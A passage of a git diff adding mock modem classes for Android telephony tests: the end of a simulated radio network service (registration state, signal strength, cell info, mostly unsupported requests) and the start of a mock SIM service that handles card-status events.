+        mHandler = new IRadioNetworkHandler();
+        mSubId = instanceId;
+        mServiceState = new MockNetworkService();
+
+        // Default network type GPRS|EDGE|UMTS|HSDPA|HSUPA|HSPA|LTE|HSPA+|GSM|LTE_CA|NR
+        mNetworkTypeBitmap =
+                MockNetworkService.GSM
+                        | MockNetworkService.WCDMA
+                        | MockNetworkService.LTE
+                        | MockNetworkService.NR;
+        mServiceState.updateHighestRegisteredRat(mNetworkTypeBitmap);
+
+        sMockModemConfigInterfaces[mSubId].registerForRadioStateChanged(
+                mHandler, EVENT_RADIO_STATE_CHANGED, null);
+        sMockModemConfigInterfaces[mSubId].registerForCardStatusChanged(
+                mHandler, EVENT_SIM_STATUS_CHANGED, null);
+    }
+
+    /** Handler class to handle callbacks */
+    private final class IRadioNetworkHandler extends Handler {
+        @Override
+        public void handleMessage(Message msg) {
+            AsyncResult ar;
+            synchronized (mCacheUpdateMutex) {
+                switch (msg.what) {
+                    case EVENT_SIM_STATUS_CHANGED:
+                        Log.d(TAG, "Received EVENT_SIM_STATUS_CHANGED");
+                        boolean oldSimReady = mSimReady;
+                        ar = (AsyncResult) msg.obj;
+                        if (ar != null && ar.exception == null) {
+                            mSimReady = updateSimReady(ar);
+                            if (oldSimReady != mSimReady) {
+                                updateNetworkStatus();
+                            }
+                        } else {
+                            Log.e(TAG, msg.what + " failure. Exception: " + ar.exception);
+                        }
+                        break;
+
+                    case EVENT_RADIO_STATE_CHANGED:
+                        Log.d(TAG, "Received EVENT_RADIO_STATE_CHANGED");
+                        int oldRadioState = mRadioState;
+                        ar = (AsyncResult) msg.obj;
+                        if (ar != null && ar.exception == null) {
+                            mRadioState = (int) ar.result;
+                            Log.i(TAG, "Radio state: " + mRadioState);
+                            if (oldRadioState != mRadioState) {
+                                updateNetworkStatus();
+                            }
+                        } else {
+                            Log.e(TAG, msg.what + " failure. Exception: " + ar.exception);
+                        }
+                        break;
+
+                    case EVENT_PREFERRED_MODE_CHANGED:
+                        Log.d(TAG, "Received EVENT_PREFERRED_MODE_CHANGED");
+                        mServiceState.updateNetworkStatus(
+                                MockNetworkService.NETWORK_UPDATE_PREFERRED_MODE_CHANGE);
+                        updateNetworkStatus();
+                        break;
+                }
+            }
+        }
+    }
+
+    // Implementation of IRadioNetwork utility functions
+
+    private void notifyServiceStateChange() {
+        Log.d(TAG, "notifyServiceStateChange");
+
+        Handler handler = sMockModemConfigInterfaces[mSubId].getMockModemConfigHandler();
+        Message msg =
+                handler.obtainMessage(
+                        MockModemConfigBase.EVENT_SERVICE_STATE_CHANGE, mServiceState);
+        handler.sendMessage(msg);
+    }
+
+    private void updateNetworkStatus() {
+
+        if (mRadioState != MockModemConfigInterface.RADIO_STATE_ON) {
+            // Update to OOS state
+            mServiceState.updateServiceState(RegState.NOT_REG_MT_NOT_SEARCHING_OP);
+        } else if (!mSimReady) {
+            // Update to Searching state
+            mServiceState.updateServiceState(RegState.NOT_REG_MT_SEARCHING_OP);
+        } else if (mServiceState.isHomeCellExisted() && mServiceState.getIsHomeCamping()) {
+            // Update to Home state
+            mServiceState.updateServiceState(RegState.REG_HOME);
+        } else if (mServiceState.isRoamingCellExisted() && mServiceState.getIsRoamingCamping()) {
+            // Update to Roaming state
+            mServiceState.updateServiceState(RegState.REG_ROAMING);
+        } else {
+            // Update to Searching state
+            mServiceState.updateServiceState(RegState.NOT_REG_MT_SEARCHING_OP);
+        }
+
+        unsolNetworkStateChanged();
+        unsolCurrentSignalStrength();
+        unsolCellInfoList();
+    }
+
+    private boolean updateSimReady(AsyncResult ar) {
+        String simPlmn = "";
+        CardStatus cardStatus = new CardStatus();
+        cardStatus = (CardStatus) ar.result;
+
+        if (cardStatus.cardState != CardStatus.STATE_PRESENT) {
+            return false;
+        }
+
+        int numApplications = cardStatus.applications.length;
+        if (numApplications < 1) {
+            return false;
+        }
+
+        for (int i = 0; i < numApplications; i++) {
+            android.hardware.radio.sim.AppStatus rilAppStatus = cardStatus.applications[i];
+            if (rilAppStatus.appState == android.hardware.radio.sim.AppStatus.APP_STATE_READY) {
+                Log.i(TAG, "SIM is ready");
+                simPlmn = "46692"; // TODO: Get SIM PLMN, maybe decode from IMSI
+                mServiceState.updateSimPlmn(simPlmn);
+                return true;
+            }
+        }
+
+        mServiceState.updateSimPlmn(simPlmn);
+        return false;
+    }
+
+    public boolean changeNetworkService(int carrierId, boolean registration) {
+        Log.d(TAG, "changeNetworkService: carrier id(" + carrierId + "): " + registration);
+
+        synchronized (mCacheUpdateMutex) {
+            // TODO: compare carrierId and sim to decide home or roming
+            mServiceState.setServiceStatus(false, registration);
+            updateNetworkStatus();
+        }
+
+        return true;
+    }
+
+    // Implementation of IRadioNetwork functions
+    @Override
+    public void getAllowedNetworkTypesBitmap(int serial) {
+        Log.d(TAG, "getAllowedNetworkTypesBitmap");
+        int networkTypeBitmap = mNetworkTypeBitmap;
+
+        RadioResponseInfo rsp = mService.makeSolRsp(serial);
+        try {
+            mRadioNetworkResponse.getAllowedNetworkTypesBitmapResponse(rsp, networkTypeBitmap);
+        } catch (RemoteException ex) {
+            Log.e(TAG, "Failed to getAllowedNetworkTypesBitmap from AIDL. Exception" + ex);
+        }
+    }
+
+    @Override
+    public void getAvailableBandModes(int serial) {
+        Log.d(TAG, "getAvailableBandModes");
+
+        int[] bandModes = new int[0];
+        RadioResponseInfo rsp = mService.makeSolRsp(serial);
+        try {
+            mRadioNetworkResponse.getAvailableBandModesResponse(rsp, bandModes);
+        } catch (RemoteException ex) {
+            Log.e(TAG, "Failed to getAvailableBandModes from AIDL. Exception" + ex);
+        }
+    }
+
+    @Override
+    public void getAvailableNetworks(int serial) {
+        Log.d(TAG, "getAvailableNetworks");
+
+        android.hardware.radio.network.OperatorInfo[] networkInfos =
+                new android.hardware.radio.network.OperatorInfo[0];
+        RadioResponseInfo rsp = mService.makeSolRsp(serial);
+        try {
+            mRadioNetworkResponse.getAvailableNetworksResponse(rsp, networkInfos);
+        } catch (RemoteException ex) {
+            Log.e(TAG, "Failed to getAvailableNetworks from AIDL. Exception" + ex);
+        }
+    }
+
+    @Override
+    public void getBarringInfo(int serial) {
+        Log.d(TAG, "getBarringInfo");
+
+        android.hardware.radio.network.CellIdentity cellIdentity =
+                new android.hardware.radio.network.CellIdentity();
+        android.hardware.radio.network.BarringInfo[] barringInfos =
+                new android.hardware.radio.network.BarringInfo[0];
+        RadioResponseInfo rsp = mService.makeSolRsp(serial, RadioError.REQUEST_NOT_SUPPORTED);
+        try {
+            mRadioNetworkResponse.getBarringInfoResponse(rsp, cellIdentity, barringInfos);
+        } catch (RemoteException ex) {
+            Log.e(TAG, "Failed to getBarringInfo from AIDL. Exception" + ex);
+        }
+    }
+
+    @Override
+    public void getCdmaRoamingPreference(int serial) {
+        Log.d(TAG, "getCdmaRoamingPreference");
+        int type = 0;
+        RadioResponseInfo rsp = mService.makeSolRsp(serial, RadioError.REQUEST_NOT_SUPPORTED);
+        try {
+            mRadioNetworkResponse.getCdmaRoamingPreferenceResponse(rsp, type);
+        } catch (RemoteException ex) {
+            Log.e(TAG, "Failed to getCdmaRoamingPreference from AIDL. Exception" + ex);
+        }
+    }
+
+    @Override
+    public void getCellInfoList(int serial) {
+        Log.d(TAG, "getCellInfoList");
+        android.hardware.radio.network.CellInfo[] cells;
+
+        synchronized (mCacheUpdateMutex) {
+            cells = mServiceState.getCells();
+        }
+
+        RadioResponseInfo rsp = mService.makeSolRsp(serial);
+        try {
+            mRadioNetworkResponse.getCellInfoListResponse(rsp, cells);
+        } catch (RemoteException ex) {
+            Log.e(TAG, "Failed to getCellInfoList from AIDL. Exception" + ex);
+        }
+    }
+
+    @Override
+    public void getDataRegistrationState(int serial) {
+        Log.d(TAG, "getDataRegistrationState");
+
+        android.hardware.radio.network.RegStateResult dataRegResponse =
+                new android.hardware.radio.network.RegStateResult();
+
+        dataRegResponse.cellIdentity = new android.hardware.radio.network.CellIdentity();
+        dataRegResponse.reasonForDenial = mReasonForDenial;
+
+        synchronized (mCacheUpdateMutex) {
+            dataRegResponse.regState =
+                    mServiceState.getRegistration(android.hardware.radio.network.Domain.PS);
+            dataRegResponse.rat = mServiceState.getRegistrationRat();
+            if (mServiceState.isInService()) {
+                dataRegResponse.registeredPlmn =
+                        mServiceState.getPrimaryCellOperatorInfo().operatorNumeric;
+            }
+
+            dataRegResponse.cellIdentity = mServiceState.getPrimaryCellIdentity();
+        }
+
+        // TODO: support accessTechnologySpecificInfo
+        dataRegResponse.accessTechnologySpecificInfo =
+                android.hardware.radio.network.AccessTechnologySpecificInfo.noinit(true);
+
+        RadioResponseInfo rsp = mService.makeSolRsp(serial);
+        try {
+            mRadioNetworkResponse.getDataRegistrationStateResponse(rsp, dataRegResponse);
+        } catch (RemoteException ex) {
+            Log.e(TAG, "Failed to getRadioCapability from AIDL. Exception" + ex);
+        }
+    }
+
+    @Override
+    public void getImsRegistrationState(int serial) {
+        Log.d(TAG, "getImsRegistrationState");
+        boolean isRegistered = false;
+        int ratFamily = 0;
+        RadioResponseInfo rsp = mService.makeSolRsp(serial, RadioError.REQUEST_NOT_SUPPORTED);
+        try {
+            mRadioNetworkResponse.getImsRegistrationStateResponse(rsp, isRegistered, ratFamily);
+        } catch (RemoteException ex) {
+            Log.e(TAG, "Failed to getImsRegistrationState from AIDL. Exception" + ex);
+        }
+    }
+
+    @Override
+    public void getNetworkSelectionMode(int serial) {
+        Log.d(TAG, "getNetworkSelectionMode");
+
+        RadioResponseInfo rsp = mService.makeSolRsp(serial);
+        try {
+            mRadioNetworkResponse.getNetworkSelectionModeResponse(rsp, mNetworkSelectionMode);
+        } catch (RemoteException ex) {
+            Log.e(TAG, "Failed to getNetworkSelectionMode from AIDL. Exception" + ex);
+        }
+    }
+
+    @Override
+    public void getOperator(int serial) {
+        Log.d(TAG, "getOperator");
+
+        String longName = "";
+        String shortName = "";
+        String numeric = "";
+
+        synchronized (mCacheUpdateMutex) {
+            if (mServiceState.isInService()) {
+                android.hardware.radio.network.OperatorInfo operatorInfo =
+                        mServiceState.getPrimaryCellOperatorInfo();
+                longName = operatorInfo.alphaLong;
+                shortName = operatorInfo.alphaShort;
+                numeric = operatorInfo.operatorNumeric;
+            }
+        }
+        RadioResponseInfo rsp = mService.makeSolRsp(serial);
+        try {
+            mRadioNetworkResponse.getOperatorResponse(rsp, longName, shortName, numeric);
+        } catch (RemoteException ex) {
+            Log.e(TAG, "Failed to getOperator from AIDL. Exception" + ex);
+        }
+    }
+
+    @Override
+    public void getSignalStrength(int serial) {
+        Log.d(TAG, "getSignalStrength");
+
+        android.hardware.radio.network.SignalStrength signalStrength =
+                new android.hardware.radio.network.SignalStrength();
+
+        synchronized (mCacheUpdateMutex) {
+            if (mServiceState.getIsHomeCamping()
+                    && mRadioState == MockModemConfigInterface.RADIO_STATE_ON) {
+                signalStrength = mServiceState.getSignalStrength();
+            }
+        }
+
+        RadioResponseInfo rsp = mService.makeSolRsp(serial);
+        try {
+            mRadioNetworkResponse.getSignalStrengthResponse(rsp, signalStrength);
+        } catch (RemoteException ex) {
+            Log.e(TAG, "Failed to getSignalStrength from AIDL. Exception" + ex);
+        }
+    }
+
+    @Override
+    public void getSystemSelectionChannels(int serial) {
+        Log.d(TAG, "getSystemSelectionChannels");
+
+        android.hardware.radio.network.RadioAccessSpecifier[] specifiers =
+                new android.hardware.radio.network.RadioAccessSpecifier[0];
+        RadioResponseInfo rsp = mService.makeSolRsp(serial);
+        try {
+            mRadioNetworkResponse.getSystemSelectionChannelsResponse(rsp, specifiers);
+        } catch (RemoteException ex) {
+            Log.e(TAG, "Failed to getSystemSelectionChannels from AIDL. Exception" + ex);
+        }
+    }
+
+    @Override
+    public void getVoiceRadioTechnology(int serial) {
+        Log.d(TAG, "getVoiceRadioTechnology");
+        int rat;
+
+        synchronized (mCacheUpdateMutex) {
+            rat = mServiceState.getRegistrationRat();
+        }
+
+        RadioResponseInfo rsp = mService.makeSolRsp(serial);
+        try {
+            mRadioNetworkResponse.getVoiceRadioTechnologyResponse(rsp, rat);
+        } catch (RemoteException ex) {
+            Log.e(TAG, "Failed to getVoiceRadioTechnology from AIDL. Exception" + ex);
+        }
+    }
+
+    @Override
+    public void getVoiceRegistrationState(int serial) {
+        Log.d(TAG, "getVoiceRegistrationState");
+
+        android.hardware.radio.network.RegStateResult voiceRegResponse =
+                new android.hardware.radio.network.RegStateResult();
+
+        voiceRegResponse.cellIdentity = new android.hardware.radio.network.CellIdentity();
+        voiceRegResponse.reasonForDenial = mReasonForDenial;
+
+        synchronized (mCacheUpdateMutex) {
+            voiceRegResponse.regState =
+                    mServiceState.getRegistration(android.hardware.radio.network.Domain.CS);
+            voiceRegResponse.rat = mServiceState.getRegistrationRat();
+            if (mServiceState.isInService()) {
+                voiceRegResponse.registeredPlmn =
+                        mServiceState.getPrimaryCellOperatorInfo().operatorNumeric;
+            }
+
+            voiceRegResponse.cellIdentity = mServiceState.getPrimaryCellIdentity();
+        }
+
+        // TODO: support accessTechnologySpecificInfo
+        voiceRegResponse.accessTechnologySpecificInfo =
+                android.hardware.radio.network.AccessTechnologySpecificInfo.noinit(true);
+
+        RadioResponseInfo rsp = mService.makeSolRsp(serial);
+        try {
+            mRadioNetworkResponse.getVoiceRegistrationStateResponse(rsp, voiceRegResponse);
+        } catch (RemoteException ex) {
+            Log.e(TAG, "Failed to getVoiceRegistrationState from AIDL. Exception" + ex);
+        }
+    }
+
+    @Override
+    public void isNrDualConnectivityEnabled(int serial) {
+        Log.d(TAG, "isNrDualConnectivityEnabled");
+        boolean isEnabled = false;
+        RadioResponseInfo rsp = mService.makeSolRsp(serial, RadioError.REQUEST_NOT_SUPPORTED);
+        try {
+            mRadioNetworkResponse.isNrDualConnectivityEnabledResponse(rsp, isEnabled);
+        } catch (RemoteException ex) {
+            Log.e(TAG, "Failed to isNrDualConnectivityEnabled from AIDL. Exception" + ex);
+        }
+    }
+
+    @Override
+    public void responseAcknowledgement() {
+        Log.d(TAG, "responseAcknowledgement");
+    }
+
+    @Override
+    public void setAllowedNetworkTypesBitmap(int serial, int networkTypeBitmap) {
+        Log.d(TAG, "setAllowedNetworkTypesBitmap");
+        boolean isModeChange = false;
+
+        if (mNetworkTypeBitmap != networkTypeBitmap) {
+            mNetworkTypeBitmap = networkTypeBitmap;
+            synchronized (mCacheUpdateMutex) {
+                isModeChange = mServiceState.updateHighestRegisteredRat(mNetworkTypeBitmap);
+            }
+            if (isModeChange) {
+                mHandler.obtainMessage(EVENT_PREFERRED_MODE_CHANGED).sendToTarget();
+            }
+        }
+
+        RadioResponseInfo rsp = mService.makeSolRsp(serial);
+        try {
+            mRadioNetworkResponse.setAllowedNetworkTypesBitmapResponse(rsp);
+        } catch (RemoteException ex) {
+            Log.e(TAG, "Failed to setAllowedNetworkTypesBitmap from AIDL. Exception" + ex);
+        }
+    }
+
+    @Override
+    public void setBandMode(int serial, int mode) {
+        Log.d(TAG, "setBandMode");
+
+        RadioResponseInfo rsp = mService.makeSolRsp(serial, RadioError.REQUEST_NOT_SUPPORTED);
+        try {
+            mRadioNetworkResponse.setBandModeResponse(rsp);
+        } catch (RemoteException ex) {
+            Log.e(TAG, "Failed to setBandMode from AIDL. Exception" + ex);
+        }
+    }
+
+    @Override
+    public void setBarringPassword(
+            int serial, String facility, String oldPassword, String newPassword) {
+        Log.d(TAG, "setBarringPassword");
+
+        RadioResponseInfo rsp = mService.makeSolRsp(serial, RadioError.REQUEST_NOT_SUPPORTED);
+        try {
+            mRadioNetworkResponse.setBarringPasswordResponse(rsp);
+        } catch (RemoteException ex) {
+            Log.e(TAG, "Failed to setBarringPassword from AIDL. Exception" + ex);
+        }
+    }
+
+    @Override
+    public void setCdmaRoamingPreference(int serial, int type) {
+        Log.d(TAG, "setCdmaRoamingPreference");
+
+        RadioResponseInfo rsp = mService.makeSolRsp(serial, RadioError.REQUEST_NOT_SUPPORTED);
+        try {
+            mRadioNetworkResponse.setCdmaRoamingPreferenceResponse(rsp);
+        } catch (RemoteException ex) {
+            Log.e(TAG, "Failed to setCdmaRoamingPreference from AIDL. Exception" + ex);
+        }
+    }
+
+    @Override
+    public void setCellInfoListRate(int serial, int rate) {
+        Log.d(TAG, "setCellInfoListRate");
+
+        RadioResponseInfo rsp = mService.makeSolRsp(serial, RadioError.REQUEST_NOT_SUPPORTED);
+        try {
+            mRadioNetworkResponse.setCellInfoListRateResponse(rsp);
+        } catch (RemoteException ex) {
+            Log.e(TAG, "Failed to setCellInfoListRate from AIDL. Exception" + ex);
+        }
+    }
+
+    @Override
+    public void setIndicationFilter(int serial, int indicationFilter) {
+        Log.d(TAG, "setIndicationFilter");
+
+        RadioResponseInfo rsp = mService.makeSolRsp(serial, RadioError.REQUEST_NOT_SUPPORTED);
+        try {
+            mRadioNetworkResponse.setIndicationFilterResponse(rsp);
+        } catch (RemoteException ex) {
+            Log.e(TAG, "Failed to setIndicationFilter from AIDL. Exception" + ex);
+        }
+    }
+
+    @Override
+    public void setLinkCapacityReportingCriteria(
+            int serial,
+            int hysteresisMs,
+            int hysteresisDlKbps,
+            int hysteresisUlKbps,
+            int[] thresholdsDownlinkKbps,
+            int[] thresholdsUplinkKbps,
+            int accessNetwork) {
+        Log.d(TAG, "setLinkCapacityReportingCriteria");
+
+        RadioResponseInfo rsp = mService.makeSolRsp(serial, RadioError.REQUEST_NOT_SUPPORTED);
+        try {
+            mRadioNetworkResponse.setLinkCapacityReportingCriteriaResponse(rsp);
+        } catch (RemoteException ex) {
+            Log.e(TAG, "Failed to setLinkCapacityReportingCriteria from AIDL. Exception" + ex);
+        }
+    }
+
+    @Override
+    public void setLocationUpdates(int serial, boolean enable) {
+        Log.d(TAG, "setLocationUpdates");
+
+        RadioResponseInfo rsp = mService.makeSolRsp(serial, RadioError.REQUEST_NOT_SUPPORTED);
+        try {
+            mRadioNetworkResponse.setLocationUpdatesResponse(rsp);
+        } catch (RemoteException ex) {
+            Log.e(TAG, "Failed to setLocationUpdates from AIDL. Exception" + ex);
+        }
+    }
+
+    @Override
+    public void setNetworkSelectionModeAutomatic(int serial) {
+        Log.d(TAG, "setNetworkSelectionModeAutomatic");
+
+        RadioResponseInfo rsp = mService.makeSolRsp(serial, RadioError.REQUEST_NOT_SUPPORTED);
+        try {
+            mRadioNetworkResponse.setNetworkSelectionModeAutomaticResponse(rsp);
+        } catch (RemoteException ex) {
+            Log.e(TAG, "Failed to setNetworkSelectionModeAutomatic from AIDL. Exception" + ex);
+        }
+    }
+
+    @Override
+    public void setNetworkSelectionModeManual(int serial, String operatorNumeric, int ran) {
+        Log.d(TAG, "setNetworkSelectionModeManual");
+
+        RadioResponseInfo rsp = mService.makeSolRsp(serial, RadioError.REQUEST_NOT_SUPPORTED);
+        try {
+            mRadioNetworkResponse.setNetworkSelectionModeManualResponse(rsp);
+        } catch (RemoteException ex) {
+            Log.e(TAG, "Failed to setNetworkSelectionModeManual from AIDL. Exception" + ex);
+        }
+    }
+
+    @Override
+    public void setNrDualConnectivityState(int serial, byte nrDualConnectivityState) {
+        Log.d(TAG, "setNrDualConnectivityState");
+
+        RadioResponseInfo rsp = mService.makeSolRsp(serial, RadioError.REQUEST_NOT_SUPPORTED);
+        try {
+            mRadioNetworkResponse.setNrDualConnectivityStateResponse(rsp);
+        } catch (RemoteException ex) {
+            Log.e(TAG, "Failed to setNrDualConnectivityState from AIDL. Exception" + ex);
+        }
+    }
+
+    @Override
+    public void setResponseFunctions(
+            IRadioNetworkResponse radioNetworkResponse,
+            IRadioNetworkIndication radioNetworkIndication) {
+        Log.d(TAG, "setResponseFunctions");
+        mRadioNetworkResponse = radioNetworkResponse;
+        mRadioNetworkIndication = radioNetworkIndication;
+        mService.countDownLatch(MockModemService.LATCH_RADIO_INTERFACES_READY);
+    }
+
+    @Override
+    public void setSignalStrengthReportingCriteria(
+            int serial, SignalThresholdInfo[] signalThresholdInfos) {
+        Log.d(TAG, "setSignalStrengthReportingCriteria");
+
+        RadioResponseInfo rsp = mService.makeSolRsp(serial, RadioError.REQUEST_NOT_SUPPORTED);
+        try {
+            mRadioNetworkResponse.setSignalStrengthReportingCriteriaResponse(rsp);
+        } catch (RemoteException ex) {
+            Log.e(TAG, "Failed to setSignalStrengthReportingCriteria from AIDL. Exception" + ex);
+        }
+    }
+
+    @Override
+    public void setSuppServiceNotifications(int serial, boolean enable) {
+        Log.d(TAG, "setSuppServiceNotifications");
+
+        RadioResponseInfo rsp = mService.makeSolRsp(serial, RadioError.REQUEST_NOT_SUPPORTED);
+        try {
+            mRadioNetworkResponse.setSuppServiceNotificationsResponse(rsp);
+        } catch (RemoteException ex) {
+            Log.e(TAG, "Failed to setSuppServiceNotifications from AIDL. Exception" + ex);
+        }
+    }
+
+    @Override
+    public void setSystemSelectionChannels(
+            int serial, boolean specifyChannels, RadioAccessSpecifier[] specifiers) {
+        Log.d(TAG, "setSystemSelectionChannels");
+
+        RadioResponseInfo rsp = mService.makeSolRsp(serial, RadioError.REQUEST_NOT_SUPPORTED);
+        try {
+            mRadioNetworkResponse.setSystemSelectionChannelsResponse(rsp);
+        } catch (RemoteException ex) {
+            Log.e(TAG, "Failed to setSystemSelectionChannels from AIDL. Exception" + ex);
+        }
+    }
+
+    @Override
+    public void startNetworkScan(int serial, NetworkScanRequest request) {
+        Log.d(TAG, "startNetworkScan");
+
+        RadioResponseInfo rsp = mService.makeSolRsp(serial, RadioError.REQUEST_NOT_SUPPORTED);
+        try {
+            mRadioNetworkResponse.startNetworkScanResponse(rsp);
+        } catch (RemoteException ex) {
+            Log.e(TAG, "Failed to startNetworkScan from AIDL. Exception" + ex);
+        }
+    }
+
+    @Override
+    public void stopNetworkScan(int serial) {
+        Log.d(TAG, "stopNetworkScan");
+
+        RadioResponseInfo rsp = mService.makeSolRsp(serial, RadioError.REQUEST_NOT_SUPPORTED);
+        try {
+            mRadioNetworkResponse.stopNetworkScanResponse(rsp);
+        } catch (RemoteException ex) {
+            Log.e(TAG, "Failed to stopNetworkScan from AIDL. Exception" + ex);
+        }
+    }
+
+    @Override
+    public void supplyNetworkDepersonalization(int serial, String netPin) {
+        Log.d(TAG, "supplyNetworkDepersonalization");
+        int remainingRetries = 0;
+
+        RadioResponseInfo rsp = mService.makeSolRsp(serial, RadioError.REQUEST_NOT_SUPPORTED);
+        try {
+            mRadioNetworkResponse.supplyNetworkDepersonalizationResponse(rsp, remainingRetries);
+        } catch (RemoteException ex) {
+            Log.e(TAG, "Failed to supplyNetworkDepersonalization from AIDL. Exception" + ex);
+        }
+    }
+
+    @Override
+    public void setUsageSetting(int serial, int usageSetting) {
+        Log.d(TAG, "setUsageSetting");
+        int remainingRetries = 0;
+
+        RadioResponseInfo rsp = mService.makeSolRsp(serial, RadioError.REQUEST_NOT_SUPPORTED);
+        try {
+            mRadioNetworkResponse.setUsageSettingResponse(rsp);
+        } catch (RemoteException ex) {
+            Log.e(TAG, "Failed to setUsageSetting from AIDL. Exception" + ex);
+        }
+    }
+
+    @Override
+    public void getUsageSetting(int serial) {
+        Log.d(TAG, "getUsageSetting");
+
+        RadioResponseInfo rsp = mService.makeSolRsp(serial, RadioError.REQUEST_NOT_SUPPORTED);
+        try {
+            mRadioNetworkResponse.getUsageSettingResponse(rsp, -1 /* Invalid value */);
+        } catch (RemoteException ex) {
+            Log.e(TAG, "Failed to getUsageSetting from AIDL. Exception" + ex);
+        }
+    }
+
+    @Override
+    public String getInterfaceHash() {
+        return IRadioNetwork.HASH;
+    }
+
+    @Override
+    public int getInterfaceVersion() {
+        return IRadioNetwork.VERSION;
+    }
+
+    public void unsolNetworkStateChanged() {
+        Log.d(TAG, "unsolNetworkStateChanged");
+
+        // Notify other module
+        notifyServiceStateChange();
+
+        if (mRadioNetworkIndication != null) {
+            try {
+                mRadioNetworkIndication.networkStateChanged(RadioIndicationType.UNSOLICITED);
+            } catch (RemoteException ex) {
+                Log.e(TAG, "Failed to invoke networkStateChanged from AIDL. Exception" + ex);
+            }
+        } else {
+            Log.e(TAG, "null mRadioNetworkIndication");
+        }
+    }
+
+    public void unsolCurrentSignalStrength() {
+        Log.d(TAG, "unsolCurrentSignalStrength");
+        if (mRadioState != MockModemConfigInterface.RADIO_STATE_ON) {
+            return;
+        }
+
+        if (mRadioNetworkIndication != null) {
+            android.hardware.radio.network.SignalStrength signalStrength =
+                    new android.hardware.radio.network.SignalStrength();
+
+            synchronized (mCacheUpdateMutex) {
+                signalStrength = mServiceState.getSignalStrength();
+            }
+
+            try {
+                mRadioNetworkIndication.currentSignalStrength(
+                        RadioIndicationType.UNSOLICITED, signalStrength);
+            } catch (RemoteException ex) {
+                Log.e(
+                        TAG,
+                        "Failed to invoke currentSignalStrength change from AIDL. Exception" + ex);
+            }
+        } else {
+            Log.e(TAG, "null mRadioNetworkIndication");
+        }
+    }
+
+    public void unsolCellInfoList() {
+        Log.d(TAG, "unsolCellInfoList");
+
+        if (mRadioState != MockModemConfigInterface.RADIO_STATE_ON) {
+            return;
+        }
+
+        if (mRadioNetworkIndication != null) {
+            android.hardware.radio.network.CellInfo[] cells;
+
+            synchronized (mCacheUpdateMutex) {
+                cells = mServiceState.getCells();
+            }
+            try {
+                mRadioNetworkIndication.cellInfoList(RadioIndicationType.UNSOLICITED, cells);
+            } catch (RemoteException ex) {
+                Log.e(TAG, "Failed to invoke cellInfoList change from AIDL. Exception" + ex);
+            }
+        } else {
+            Log.e(TAG, "null mRadioNetworkIndication");
+        }
+    }
+}
diff --git a/tests/tests/telephony/current/mockmodem/src/android/telephony/mockmodem/IRadioSimImpl.java b/tests/tests/telephony/current/mockmodem/src/android/telephony/mockmodem/IRadioSimImpl.java
new file mode 100644
index 0000000..7863d53
--- /dev/null
+++ b/tests/tests/telephony/current/mockmodem/src/android/telephony/mockmodem/IRadioSimImpl.java
@@ -0,0 +1,994 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.telephony.mockmodem;
+
+import static android.telephony.mockmodem.MockSimService.COMMAND_GET_RESPONSE;
+import static android.telephony.mockmodem.MockSimService.COMMAND_READ_BINARY;
+import static android.telephony.mockmodem.MockSimService.EF_ICCID;
+
+import android.hardware.radio.RadioError;
+import android.hardware.radio.RadioIndicationType;
+import android.hardware.radio.RadioResponseInfo;
+import android.hardware.radio.sim.CardStatus;
+import android.hardware.radio.sim.IRadioSim;
+import android.hardware.radio.sim.IRadioSimIndication;
+import android.hardware.radio.sim.IRadioSimResponse;
+import android.hardware.radio.sim.SimRefreshResult;
+import android.os.AsyncResult;
+import android.os.Handler;
+import android.os.Message;
+import android.os.RemoteException;
+import android.telephony.mockmodem.MockModemConfigBase.SimInfoChangedResult;
+import android.telephony.mockmodem.MockSimService.SimAppData;
+import android.util.Log;
+
+import java.util.ArrayList;
+
+public class IRadioSimImpl extends IRadioSim.Stub {
+    private static final String TAG = "MRSIM";
+    private final MockModemService mService;
+    private IRadioSimResponse mRadioSimResponse;
+    private IRadioSimIndication mRadioSimIndication;
+    private static MockModemConfigInterface[] sMockModemConfigInterfaces;
+    private Object mCacheUpdateMutex;
+    private final Handler mHandler;
+    private int mSubId;
+
+    // ***** Events
+    static final int EVENT_SIM_CARD_STATUS_CHANGED = 1;
+    static final int EVENT_SIM_APP_DATA_CHANGED = 2;
+    static final int EVENT_SIM_INFO_CHANGED = 3;
+
+    // ***** Cache of modem attributes/status
+    private int mNumOfLogicalSim;
+    private CardStatus mCardStatus;
+    private ArrayList<SimAppData> mSimAppList;
+
+    public IRadioSimImpl(
+            MockModemService service, MockModemConfigInterface[] interfaces, int instanceId) {
+        Log.d(TAG, "Instantiated");
+
+        this.mService = service;
+        sMockModemConfigInterfaces = interfaces;
+        mSubId = instanceId;
+        mCardStatus = new CardStatus();
+        mCacheUpdateMutex = new Object();
+        mHandler = new IRadioSimHandler();
+        mNumOfLogicalSim = sMockModemConfigInterfaces.length;
+
+        // Register events
+        sMockModemConfigInterfaces[mSubId].registerForCardStatusChanged(
+                mHandler, EVENT_SIM_CARD_STATUS_CHANGED, null);
+
+        // Register events
+        sMockModemConfigInterfaces[mSubId].registerForSimAppDataChanged(
+                mHandler, EVENT_SIM_APP_DATA_CHANGED, null);
+
+        // Register events
+        sMockModemConfigInterfaces[mSubId].registerForSimInfoChanged(
+                mHandler, EVENT_SIM_INFO_CHANGED, null);
+    }
+
+    /** Handler class to handle callbacks */
+    private final class IRadioSimHandler extends Handler {
+        @Override
+        public void handleMessage(Message msg) {
+            AsyncResult ar;
+            synchronized (mCacheUpdateMutex) {
+                switch (msg.what) {
+                    case EVENT_SIM_CARD_STATUS_CHANGED:
+                        Log.d(TAG, "Received EVENT_SIM_CARD_STATUS_CHANGED");
+                        ar = (AsyncResult) msg.obj;
+                        if (ar != null && ar.exception == null) {
+                            mCardStatus = (CardStatus) ar.result;
+                            Log.i(TAG, "Sim card status: " + mCardStatus);
+                            simStatusChanged();
+                        } else {
+                            Log.e(TAG, msg.what + " failure. Exception: " + ar.exception);
+                        }
+                        break;
+
+                    case EVENT_SIM_APP_DATA_CHANGED:
+                        Log.d(TAG, "Received EVENT_SIM_APP_DATA_CHANGED");
+                        ar = (AsyncResult) msg.obj;
+                        if (ar != null && ar.exception == null) {
+                            mSimAppList = (ArrayList<SimAppData>) ar.result;
+                            if (mSimAppList != null) {
